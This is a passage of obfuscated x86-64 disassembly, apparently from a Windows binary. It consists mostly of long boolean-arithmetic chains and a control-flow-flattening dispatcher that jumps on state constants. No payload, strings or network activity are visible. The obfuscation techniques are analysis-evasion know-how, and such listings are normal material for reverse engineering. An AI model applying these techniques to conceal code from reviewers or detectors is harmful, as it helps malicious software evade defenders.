or al, dl
or r10b, bl
xor r10b, 1
mov edx, eax
and dl, r10b
xor r10b, al
or r10b, dl
xor r13b, 1
or r14b, r9b
xor r14b, 1
or r14b, r15b
xor r14b, 1
mov eax, r13d
and al, r14b
xor r14b, r13b
or r14b, al
mov eax, r14d
xor al, 1
mov ebx, eax
and bl, r14b
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
or al, r14b
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov ebx, eax
xor bl, dl
xor dl, 1
xor bl, 1
or dl, al
xor dl, 1
or dl, bl
mov r13d, edx
xor r13b, 1
and r13b, dl
xor r13b, 1
mov eax, r13d
xor al, dl
or r13b, dl
xor r13b, 1
or r13b, al
mov r14d, r12d
xor r14b, 1
mov ecx, r12d
or cl, r14b
mov byte [rbp - 0x23], cl
mov edi, ecx
xor dil, 1
mov edx, r14d
and dl, r12b
mov byte [rbp - 0x30], dl
mov eax, edx
and al, r14b
xor dl, r14b
or dl, al
mov eax, edx
xor al, 1
and al, dil
and dl, cl
or dl, al
mov eax, r12d
and al, cl
mov ebx, r12d
xor bl, cl
or bl, al
xor dl, 1
mov eax, edx
xor al, bl
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ebx, eax
and bl, dl
mov r15d, edx
xor r15b, al
xor al, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and r15b, dl
mov r8d, r15d
xor r8b, 1
mov edx, r8d
and dl, r15b
mov ecx, r8d
and cl, dl
xor dl, r8b
mov r8d, ebx
or r8b, al
xor r8b, 1
or dl, cl
xor dl, r8b
mov ecx, r8d
xor cl, r15b
or r15b, r8b
xor r15b, 1
or r15b, cl
mov ecx, edx
xor cl, r15b
or r15b, dl
xor r15b, 1
or r15b, cl
mov r9d, r15d
xor r9b, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov r8d, edx
xor r8b, 1
mov ebx, r9d
and bl, r15b
mov eax, r9d
and al, bl
xor bl, r9b
or bl, al
mov eax, r8d
and al, dl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, ebx
xor cl, 1
and cl, al
xor al, 1
and al, bl
or al, cl
mov r11d, r10d
xor r11b, 1
xor r8b, r9b
mov esi, r13d
xor sil, 1
or dl, r15b
xor dl, 1
or dl, r8b
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
mov r8d, eax
or r8b, dl
mov r15d, r8d
xor r15b, 1
xor dl, al
and dl, al
mov ecx, edx
xor cl, 1
and dl, r8b
and r15b, cl
or r15b, dl
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
xor cl, 1
mov eax, r15d
and al, cl
xor cl, r15b
or cl, al
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, 1
xor cl, al
xor al, cl
xor al, 1
and al, cl
mov r9d, r10d
and r9b, sil
or sil, r13b
mov r15d, esi
xor r15b, 1
xor sil, r13b
or r15b, r13b
and r13b, r11b
or r9b, r13b
mov ecx, r9d
xor cl, 1
mov edx, r11d
and dl, cl
and r9b, r10b
or r9b, dl
xor r9b, 1
or r9b, cl
mov ecx, r11d
and cl, r10b
xor cl, 1
mov edx, r10d
xor dl, cl
or cl, r10b
xor cl, 1
or cl, dl
mov r13d, ecx
xor r13b, 1
or r11b, r10b
mov r10d, r11d
xor r10b, 1
mov edx, r11d
and dl, r10b
mov ebx, r11d
and bl, dl
xor dl, r11b
xor r11b, r13b
mov r8d, r13d
and r13b, cl
xor r8b, r13b
xor r13b, 1
or r13b, cl
xor r13b, 1
or r13b, r8b
or dl, bl
xor dl, r13b
or r10b, cl
mov r8d, r9d
xor r8b, 1
xor r10b, 1
or r10b, r11b
mov ebx, r10d
xor bl, dl
xor dl, 1
xor bl, 1
or dl, r10b
xor dl, 1
or dl, bl
xor sil, 1
xor r15b, 1
or r15b, sil
xor r15b, 1
mov ebx, esi
and bl, r15b
xor r15b, sil
or r15b, bl
xor r15b, dl
mov edx, r9d
and dl, r8b
mov ebx, r9d
and bl, dl
xor dl, r9b
or dl, bl
mov ebx, edx
and dl, r15b
xor r15b, 1
xor r8b, r15b
mov ecx, r8d
xor cl, r9b
and cl, r8b
xor bl, 1
and bl, r15b
or dl, bl
xor dl, cl
mov ebx, edx
xor bl, 1
and cl, bl
mov r15d, ecx
xor r15b, 1
xor cl, dl
or r15b, bl
xor r15b, 1
or r15b, cl
mov r11d, eax
xor r11b, 1
mov r9d, eax
and r9b, r11b
mov ecx, r9d
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
or bl, cl
mov r8d, ebx
xor r8b, 1
mov r10d, r9d
and r10b, al
mov ecx, r9d
xor cl, al
or cl, r10b
mov r10d, ecx
and r10b, bl
xor cl, 1
and cl, r8b
or cl, r10b
xor bl, r11b
or r8b, al
xor r8b, 1
or r8b, bl
xor r8b, 1
mov ebx, ecx
and bl, r8b
xor r8b, cl
or r8b, bl
xor r11b, al
or r11b, r9b
mov ebx, r11d
xor bl, 1
mov edx, r11d
or dl, bl
mov ecx, edx
xor cl, 1
mov eax, ecx
and al, dl
mov r9d, eax
and r9b, cl
xor al, cl
mov r10d, r8d
xor r10b, 1
or al, r9b
mov ecx, eax
xor cl, 1
and cl, bl
and al, r11b
or al, cl
mov ecx, edx
and cl, r11b
xor dl, r11b
or dl, cl
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
xor al, 1
mov ecx, eax
or cl, r10b
xor al, r10b
xor al, 1
and al, r10b
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
xor bl, r8b
mov ecx, ebx
and cl, r8b
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
xor bl, al
and al, bl
mov ecx, ebx
xor cl, al
xor al, 1
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov r9d, eax
or r9b, cl
xor al, r9b
xor al, 1
or r9b, cl
xor r9b, 1
or r9b, al
mov eax, r9d
xor al, 1
and r9b, al
mov ecx, eax
and cl, r9b
xor r9b, al
or r9b, cl
mov eax, r8d
xor al, r10b
or r10b, r8b
xor r10b, 1
or r10b, al
xor al, 1
mov ecx, eax
xor cl, r10b
or r10b, al
xor r10b, 1
or r10b, cl
mov ecx, r10d
xor cl, 1
mov eax, r10d
and al, cl
or cl, r10b
mov ebx, ecx
xor bl, 1
and cl, bl
mov r8d, ecx
and r8b, bl
xor cl, bl
or cl, r8b
mov r8d, eax
and r8b, r10b
xor al, r10b
or al, r8b
xor al, cl
mov ecx, ebx
xor cl, r10b
or bl, r10b
xor bl, 1
or bl, cl
xor al, 1
mov ecx, eax
xor cl, bl
or al, bl
xor al, 1
or al, cl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
xor bl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, 1
or cl, al
xor cl, 1
or cl, al
mov r10d, ecx
xor r10b, 1
mov r8d, r9d
xor r8b, 1
and r10b, cl
mov ebx, ecx
and bl, r10b
xor r10b, cl
or r10b, bl
mov edx, r9d
or dl, r8b
mov r13d, r10d
xor r13b, 1
mov eax, r9d
or al, dl
xor dl, r9b
xor al, 1
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
xor al, 1
mov edx, eax
xor dl, r10b
xor dl, 1
and dl, r10b
or al, r10b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
and r9b, r8b
mov ebx, r13d
and bl, r10b
xor r9b, 1
mov edx, r8d
xor dl, r9b
or r9b, r8b
xor r9b, 1
or r9b, dl
mov edx, r13d
and dl, bl
xor bl, r13b
or bl, dl
mov edx, r9d
xor dl, 1
and dl, bl
xor bl, 1
and bl, r9b
or bl, dl
mov edx, r8d
xor dl, r10b
or r10b, r8b
xor r10b, 1
or r10b, dl
mov edx, r10d
xor dl, bl
xor bl, 1
xor dl, 1
or bl, r10b
xor bl, 1
or bl, dl
mov r8d, ebx
xor r8b, 1
mov ecx, eax
xor cl, 1
and cl, al
mov edx, r8d
and dl, bl
mov r9d, ecx
and r9b, al
xor cl, al
or cl, r9b
xor dl, 1
mov r9d, edx
xor r9b, bl
or dl, bl
xor dl, 1
or dl, r9b
xor dl, cl
mov ecx, eax
xor cl, r8b
or r8b, al
xor r8b, 1
or r8b, cl
mov eax, r8d
xor al, dl
xor dl, 1
xor al, 1
or dl, r8b
xor dl, 1
or dl, al
mov r8d, r15d
xor r8b, 1
mov ecx, r8d
and cl, r15b
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov ebx, edx
xor bl, 1
mov eax, edx
xor al, cl
and cl, dl
or cl, al
xor al, 1
mov r9d, eax
xor r9b, cl
or al, cl
xor al, 1
or al, r9b
mov ecx, eax
xor cl, 1
and al, cl
mov r9d, ecx
and r9b, al
xor al, cl
or al, r9b
mov ecx, ebx
and cl, dl
mov r9d, ebx
xor r9b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r9b
or bl, dl
mov r9d, ebx
mov edx, ecx
xor dl, bl
and dl, cl
and bl, cl
xor cl, 1
xor r9b, 1
and r9b, cl
or bl, r9b
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
xor cl, dl
xor dl, 1
or dl, bl
mov ebx, eax
xor bl, 1
xor dl, 1
or dl, cl
xor dl, r15b
xor dl, 1
mov ecx, edx
and cl, r8b
xor dl, r8b
or dl, cl
mov r15d, edx
xor r15b, 1
mov r8d, ebx
and al, bl
mov ecx, ebx
and cl, al
xor al, bl
and bl, dl
xor r8b, dl
or r8b, bl
mov ebx, r8d
xor bl, 1
and r15b, dl
or al, cl
mov ecx, edx
and cl, r15b
xor r15b, dl
or r15b, cl
xor r15b, al
mov eax, r15d
xor al, 1
mov edx, r15d
or r15b, bl
and bl, r8b
and dl, al
xor bl, 1
mov ecx, ebx
xor cl, r8b
or bl, r8b
xor bl, 1
or bl, cl
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
xor dl, bl
mov bl, byte [rbp - 0x38]
mov ecx, ebx
mov r10b, byte [rbp - 0x34]
and cl, r10b
xor al, r8b
mov r9d, ebx
mov r8d, ebx
xor r9b, cl
xor r15b, 1
or r15b, al
xor r15b, 1
mov eax, edx
and al, r15b
xor r15b, dl
or r15b, al
xor cl, 1
or cl, r10b
xor cl, 1
or cl, r9b
mov eax, ecx
xor al, 1
mov r13d, eax
or r13b, cl
xor cl, r13b
xor cl, 1
or r13b, al
xor r13b, 1
or r13b, cl
mov eax, r13d
xor al, 1
and r13b, al
mov ecx, eax
and cl, r13b
xor r13b, al
or r13b, cl
mov r9d, r13d
xor r9b, 1
xor r14b, r12b
and r12b, r14b
mov eax, r12d
xor al, 1
mov dl, byte [rbp - 0x23]
and dil, dl
and r12b, al
xor dil, 1
mov ecx, edi
xor cl, dl
or dil, dl
xor dil, 1
or dil, cl
xor r12b, 1
mov ecx, r12d
xor cl, al
or r12b, al
xor r12b, 1
or r12b, cl
mov ecx, edi
xor cl, 1
and cl, r12b
xor r12b, 1
and r12b, dil
or r12b, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, r12b
xor r12b, 1
xor cl, 1
or r12b, al
xor r12b, 1
or r12b, cl
mov eax, r12d
xor al, 1
and r12b, al
mov ecx, eax
and cl, r12b
xor r12b, al
or r12b, cl
mov eax, r13d
and al, r9b
mov ecx, r13d
and cl, al
xor al, r13b
or al, cl
mov ebx, eax
xor bl, 1
mov ecx, eax
and cl, bl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov r11d, ebx
xor r11b, 1
xor r8b, r10b
mov dl, byte [rbp - 0x28]
xor dl, 1
or dl, r8b
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov edx, ecx
xor dl, 1
mov r8d, r12d
xor r8b, 1
or r14b, byte [rbp - 0x30]
mov r10d, ebx
and cl, dl
mov eax, edx
and al, cl
xor cl, dl
or cl, al
and r11b, cl
xor cl, 1
and cl, bl
and bl, dl
xor r10b, dl
or r10b, bl
mov esi, r10d
xor sil, 1
or cl, r11b
mov edi, ecx
xor dil, 1
mov ebx, r10d
and bl, sil
mov edx, edi
and dl, cl
mov r11d, r10d
and r11b, bl
xor bl, r10b
or bl, r11b
mov r11d, edi
and r11b, dl
xor dl, dil
or dl, r11b
mov eax, ebx
xor al, 1
and al, dl
xor dl, 1
and dl, bl
mov ebx, r14d
xor bl, 1
or dl, al
xor dil, r10b
or cl, sil
xor cl, 1
or cl, dil
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, r8d
and al, r14b
xor r14b, r8b
or r14b, al
mov r10d, r14d
xor r10b, 1
mov eax, r8d
xor al, bl
xor al, 1
and al, bl
or bl, r8b
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
and al, r14b
or r14b, bl
xor r14b, 1
and bl, r10b
or bl, al
mov eax, r14d
and al, bl
xor bl, r14b
or bl, al
mov r11d, ecx
xor r11b, 1
mov r10d, ebx
xor r10b, 1
mov edx, r11d
xor dl, r10b
xor dl, 1
and r10b, bl
xor r10b, 1
mov eax, ebx
xor al, r10b
or r10b, bl
or bl, r11b
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, 1
xor r10b, 1
or r10b, al
and cl, r10b
xor r10b, 1
and r10b, r11b
or r10b, cl
xor r10b, 1
or r10b, r11b
mov eax, r10d
xor al, 1
and al, bl
or bl, r10b
and r10b, dl
or r10b, al
mov eax, ebx
xor al, r10b
xor r10b, 1
xor al, 1
or r10b, bl
xor r10b, 1
or r10b, al
mov eax, r13d
and al, r8b
xor r8b, r13b
or r8b, al
mov eax, r8d
xor al, 1
xor r9b, r12b
and r9b, r12b
or r12b, r13b
xor r9b, 1
mov ecx, r9d
xor cl, r12b
or r9b, r12b
xor r9b, 1
or r9b, cl
mov ecx, r9d
xor cl, r8b
mov edx, eax
and dl, r8b
xor dl, 1
mov ebx, edx
xor bl, r8b
or dl, r8b
xor dl, 1
or dl, bl
xor dl, r9b
xor cl, 1
or r9b, al
xor r9b, 1
or r9b, cl
xor r9b, 1
mov eax, edx
and al, r9b
xor r9b, dl
or r9b, al
mov ecx, r9d
xor cl, 1
mov eax, ecx
and al, r9b
xor al, 1
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, dl
or cl, r9b
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
mov r8d, edx
and r8b, bl
xor dl, bl
or dl, r8b
mov ebx, edx
xor dl, 1
and dl, al
xor al, 1
and bl, al
or dl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov edx, ecx
xor dl, 1
mov eax, ecx
and al, dl
xor cl, al
xor al, 1
or al, dl
xor al, 1
or al, cl
mov r9d, eax
xor r9b, 1
mov r8d, r10d
xor r8b, 1
and al, r9b
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov edx, eax
xor dl, 1
mov ecx, r10d
or cl, r8b
mov ebx, ecx
xor bl, r10b
or dl, al
or cl, r8b
mov r11d, ebx
xor r11b, cl
or cl, bl
xor cl, 1
or cl, r11b
mov ebx, edx
or bl, r9b
xor bl, 1
xor dl, r9b
mov r9d, ebx
and r9b, dl
xor dl, bl
or dl, r9b
xor cl, 1
mov ebx, ecx
xor bl, dl
xor bl, 1
and bl, dl
or cl, dl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
and r10b, r8b
mov edx, r10d
and dl, r8b
xor r10b, r8b
or r10b, dl
xor r10b, al
mov edx, r8d
xor dl, al
or al, r8b
xor al, 1
or al, dl
xor r10b, 1
mov edx, r10d
xor dl, al
or r10b, al
xor r10b, 1
or r10b, dl
mov edx, r10d
xor dl, 1
mov eax, r10d
and al, dl
mov ebx, r10d
and bl, al
xor al, r10b
or al, bl
xor al, cl
xor al, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov r8d, edx
xor r8b, 1
mov eax, edx
or al, r8b
mov ecx, eax
xor cl, 1
mov r9d, edx
and r9b, r8b
mov ebx, eax
and bl, cl
mov r10d, edx
and r10b, r9b
mov r11d, edx
xor r11b, r9b
or r11b, r10b
xor dl, al
xor al, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, al
mov eax, r11d
xor al, 1
and al, bl
xor bl, 1
and bl, r11b
or bl, al
or cl, r8b
xor cl, 1
or cl, dl
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, r8d
and dl, r9b
xor r9b, r8b
or r9b, dl
mov ebx, r9d
xor bl, 1
mov edx, ebx
or dl, r9b
xor r9b, dl
xor r9b, 1
or dl, bl
xor dl, 1
or dl, r9b
mov r8d, edx
xor r8b, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
mov r9d, edx
xor r9b, r8b
and r9b, dl
mov edx, eax
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor dl, 1
or cl, al
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, r9d
xor bl, 1
mov edx, ebx
and dl, r9b
mov r10d, ebx
and r10b, dl
xor dl, bl
or dl, r10b
xor dl, 1
or bl, r9b
xor bl, 1
mov r9d, edx
and r9b, bl
xor bl, dl
or bl, r9b
xor bl, 1
mov edx, ebx
or dl, cl
xor bl, cl
xor bl, 1
and bl, cl
xor bl, 1
mov ecx, edx
xor cl, bl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, eax
or cl, r8b
xor cl, 1
xor al, r8b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, ebx
xor cl, 1
and cl, al
xor al, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
or al, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov ebx, ecx
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
or cl, al
mov eax, ecx
xor al, dl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
or cl, dl
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov r9d, ecx
xor r9b, 1
mov ebx, ecx
and bl, r9b
mov r8d, ebx
xor r8b, 1
mov eax, r9d
xor al, r8b
or r8b, r9b
xor r8b, 1
or r8b, al
mov eax, r8d
xor al, 1
mov r10d, r8d
or r10b, al
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor bl, 1
and bl, r10b
mov edx, r10d
xor dl, 1
and cl, dl
or bl, cl
mov ecx, edx
xor cl, r9b
or dl, r9b
xor dl, 1
or dl, cl
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ebx, edx
xor bl, 1
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
xor al, 1
mov ecx, ebx
and cl, dl
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
or cl, al
mov edx, eax
or dl, cl
xor cl, al
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov r11d, ecx
xor r11b, 1
mov eax, r15d
xor al, 1
or cl, r11b
xor cl, 1
mov r9d, r11d
and r9b, cl
xor cl, r11b
xor r11b, r15b
xor r11b, 1
mov ebx, r11d
and bl, al
xor r11b, al
or r11b, bl
mov r8d, r11d
xor r8b, 1
or al, r15b
mov ebx, eax
xor bl, r15b
or al, r15b
xor al, 1
mov edx, eax
and dl, bl
xor al, bl
or al, dl
or cl, r9b
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and bl, cl
mov r9d, ebx
and r9b, cl
xor bl, cl
or bl, r9b
and dl, bl
xor bl, 1
and bl, al
or bl, dl
mov r10d, ebx
xor r10b, 1
mov r9d, r10d
and r9b, bl
mov eax, r10d
and al, r9b
xor r9b, r10b
or r9b, al
mov ecx, r11d
xor cl, r8b
and cl, r11b
mov r12d, r9d
xor r12b, 1
or r10b, bl
mov edx, r10d
xor dl, 1
mov esi, r12d
and sil, r9b
mov r13d, r10d
and r13b, dl
mov edi, r12d
and dil, sil
xor sil, r12b
mov r14d, r10d
and r14b, r13b
xor r13b, r10b
xor r10b, r12b
mov r15d, r11d
xor r15b, r12b
and r15b, r11b
and r12b, r11b
or r11b, r8b
xor cl, 1
mov eax, ecx
or al, r11b
xor cl, r11b
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
or sil, dil
or r13b, r14b
mov eax, esi
xor al, 1
and al, r13b
xor r13b, 1
and r13b, sil
or r13b, al
or dl, r9b
xor dl, 1
or dl, r10b
xor dl, 1
mov eax, r13d
and al, dl
xor dl, r13b
or dl, al
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor al, 1
or al, bl
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
and cl, al
or cl, dl
and r9b, r8b
or r12b, r9b
mov eax, r15d
and al, r12b
xor r12b, r15b
or r12b, al
mov eax, r12d
xor al, 1
mov edx, r12d
and dl, al
mov ebx, r12d
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
and bl, cl
or al, cl
xor cl, 1
xor dl, 1
and dl, cl
or dl, bl
xor cl, r12b
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x5e26ff1f
mov ebx, 0xeff26724
cmovne eax, ebx
test dl, 1
cmove eax, ebx
not cl
test cl, 1
mov ecx, 0x5e26ff1f
jmp 0x1400160ec
cmp eax, 0x5e26ff1e
jg 0x14000924e
cmp eax, 0x4bbe24e2
je 0x140001ca8
cmp eax, 0x4f4bba96
je 0x14000e64f
cmp eax, 0x5dfbf2e6
jne 0x140001cd0
mov eax, 0xbd043502
mov dword [rbp - 0x44], 0
cmp eax, 0xf65f02e7
jg 0x140001cdb
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xcc2bceba
jg 0x140004dc0
cmp eax, 0xbd043501
jg 0x14000a0e1
cmp eax, 0x93357914
je 0x14000e66b
cmp eax, 0x9e5791c9
je 0x14000e680
cmp eax, 0xb6d659eb
jne 0x140001cd0
mov eax, 0xf65f02e8
cmp eax, 0xf65f02e7
jg 0x140001cdb
jmp 0x140004d70
cmp eax, 0xe56a3d72
jg 0x14000a147
cmp eax, 0xcc2bcebb
je 0x140010ede
cmp eax, 0xde44bc1c
je 0x140010ef1
cmp eax, 0xe4b37936
jne 0x140001cd0
mov eax, dword [0x1400508d0]
lea edx, [rax - 1]
imul edx, eax
mov r11d, edx
not r11d
mov r9d, edx
mov ebx, edx
xor ebx, 0x1d71ea3b
and ebx, edx
mov r8d, edx
mov r10d, r11d
mov r14d, r11d
mov edi, r11d
and edi, 0x8b93d617
and edx, 0x746c29e8
or edx, edi
mov ecx, edx
xor ecx, 0x880
xor edx, 0x80004000
mov edi, r11d
or edi, 0x809848ea
mov r13d, edi
not r13d
or edx, 0x1d002605
and edx, 0x9d08666d
and ecx, 0x900882
or ecx, edx
and edi, 0x9d08666d
and r13d, 0x62679110
or r13d, edi
xor r13d, ecx
not r13d
mov r15d, r13d
and r15d, r11d
xor r13d, r11d
and r11d, 0xc604a00
and r9d, 0x1111a03b
or r9d, r11d
xor r9d, 0x1111a03b
mov edx, r9d
and edx, ebx
xor ebx, r9d
or ebx, edx
mov edx, ebx
not edx
and edx, 0xe28e15c4
and ebx, 0x1d71ea3b
or ebx, edx
mov edx, ebx
not edx
and edx, 0xb9aff9ac
and ebx, 0x46500653
or ebx, edx
mov edx, ebx
xor edx, 0x6100602
and edx, 0x8e16d6aa
xor ebx, 0x31a92904
and ebx, 0x71e92955
or ebx, edx
mov eax, ebx
xor eax, 0x8e16d6aa
and eax, ebx
and r8d, 0x23c179a8
and r10d, 0xdc3e8657
or r10d, r8d
xor r10d, 0x522850fd
and r14d, 0x71e92955
or r14d, r10d
mov edx, r14d
not edx
mov edi, eax
xor edi, r14d
and edi, eax
mov ebx, eax
not ebx
and ebx, 0x216ebfc3
and eax, 0xde91403c
or eax, ebx
and r14d, 0x216ebfc3
and edx, 0xde91403c
or edx, r14d
xor edx, eax
mov eax, edi
and eax, edx
xor edx, edi
or edx, eax
mov ebx, edx
mov eax, edx
xor eax, 0xe0c40e49
and eax, edx
not edx
and edx, 0xc0440c41
and ebx, 0x20800208
or ebx, edx
xor ebx, 0x20800208
mov edx, ebx
and edx, eax
xor eax, ebx
or eax, edx
mov edx, eax
not edx
and edx, 0x6ed2d8e3
and eax, 0x912d271c
or eax, edx
mov edx, eax
not edx
mov ebx, edx
and ebx, 0xcb39bab8
and edx, eax
and eax, 0x34c64547
or eax, ebx
xor eax, 0x34c64547
mov ebx, eax
and ebx, edx
xor eax, edx
or eax, ebx
mov edx, eax
not edx
mov ebx, eax
or ebx, 0x1be6ab2
mov edi, ebx
not edi
mov ecx, eax
xor ecx, 0xfe41954d
and ecx, eax
mov esi, ecx
not esi
mov r8d, ebx
and r8d, 0x9fd3200e
and edi, 0x60009541
or edi, r8d
or ebx, esi
and esi, 0x9fd3200e
and ecx, 0x602cdff1
or ecx, esi
xor ecx, edi
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x648e9e2d
and ebx, 0x9b7161d2
or ebx, ecx
xor ebx, 0xe5a8bc75
and eax, 0x55116b93
mov ecx, edx
and ecx, 0xaaee946c
or ecx, eax
xor ecx, 0xd5892379
and edx, 0x809848ea
or edx, ecx
mov eax, edx
not eax
and eax, 0xcb3e2e46
and edx, 0x34c1d1b9
or edx, eax
xor edx, 0x34c1d1b9
mov eax, ebx
and eax, edx
xor edx, ebx
or edx, eax
mov eax, edx
not eax
and eax, 0x4f814b67
and edx, 0xb07eb498
or edx, eax
mov eax, edx
xor eax, 0x901c8498
xor edx, 0x7804207
and edx, 0x27e27207
and eax, 0xd81d8df8
or eax, edx
mov ecx, eax
xor ecx, 0x24225205
xor eax, 0xd8048c20
and eax, 0xdbc4ac22
and ecx, 0x243b53dd
or ecx, eax
mov edx, ecx
xor edx, 0x43b50c8
xor ecx, 0xc02c00
and ecx, 0x20c02f15
and edx, 0xdf3fd0ea
or edx, ecx
mov r14d, edx
xor r14d, 0xdf3fd0ea
mov edi, edx
xor edi, 0x20c02f15
or r13d, r15d
mov r15d, r13d
not r15d
mov eax, edi
and eax, 0x85204e0
mov ecx, r14d
and ecx, 0x5121811a
or ecx, eax
xor ecx, 0x5121811a
and r14d, 0xa68c7a05
or r14d, ecx
mov eax, r14d
not eax
and eax, 0xa68c7a05
and r14d, 0x597385fa
or r14d, eax
mov eax, r13d
and eax, 0xd71d753c
mov ecx, r15d
and ecx, 0x28e28ac3
or ecx, eax
mov r10d, ecx
xor r10d, 0x200042
xor ecx, 0x80012010
and ecx, 0xa8c3aa91
and r10d, 0x573c556e
or r10d, ecx
mov r11d, r10d
xor r11d, 0xa8c3aa91
mov r8d, r14d
not r8d
mov ecx, r8d
and ecx, 0x476aeb90
mov eax, r14d
and eax, 0xb895146f
or eax, ecx
mov ecx, eax
xor ecx, 0xb894004f
and ecx, 0xfade89df
xor eax, 0x424b9db0
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xf7824d85
and eax, 0x87db27a
or eax, ecx
mov r12d, eax
xor r12d, 0x413210
mov r9d, eax
xor r9d, 0xf7824d85
and edi, 0x5217620
xor edx, 0x25e15935
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x9878a32d
and edx, 0x67875cd2
or edx, ecx
mov ecx, edx
xor ecx, 0x21015490
xor r10d, 0x573c556e
mov esi, r10d
and esi, 0xfade89df
mov edi, r11d
and edi, 0x5217620
or edi, esi
not edi
or edi, r10d
and r13d, 0x2607e2e6
and r15d, 0xd9f81d19
or r15d, r13d
mov ebx, r15d
xor ebx, 0xd9f81d19
xor r15d, 0x206a246
and r15d, 0x533eb257
mov esi, ebx
and esi, 0xacc14da8
or esi, r15d
xor esi, 0x561fc477
and ebx, 0x5217620
or ebx, esi
mov esi, ebx
not esi
and esi, 0xafa244da
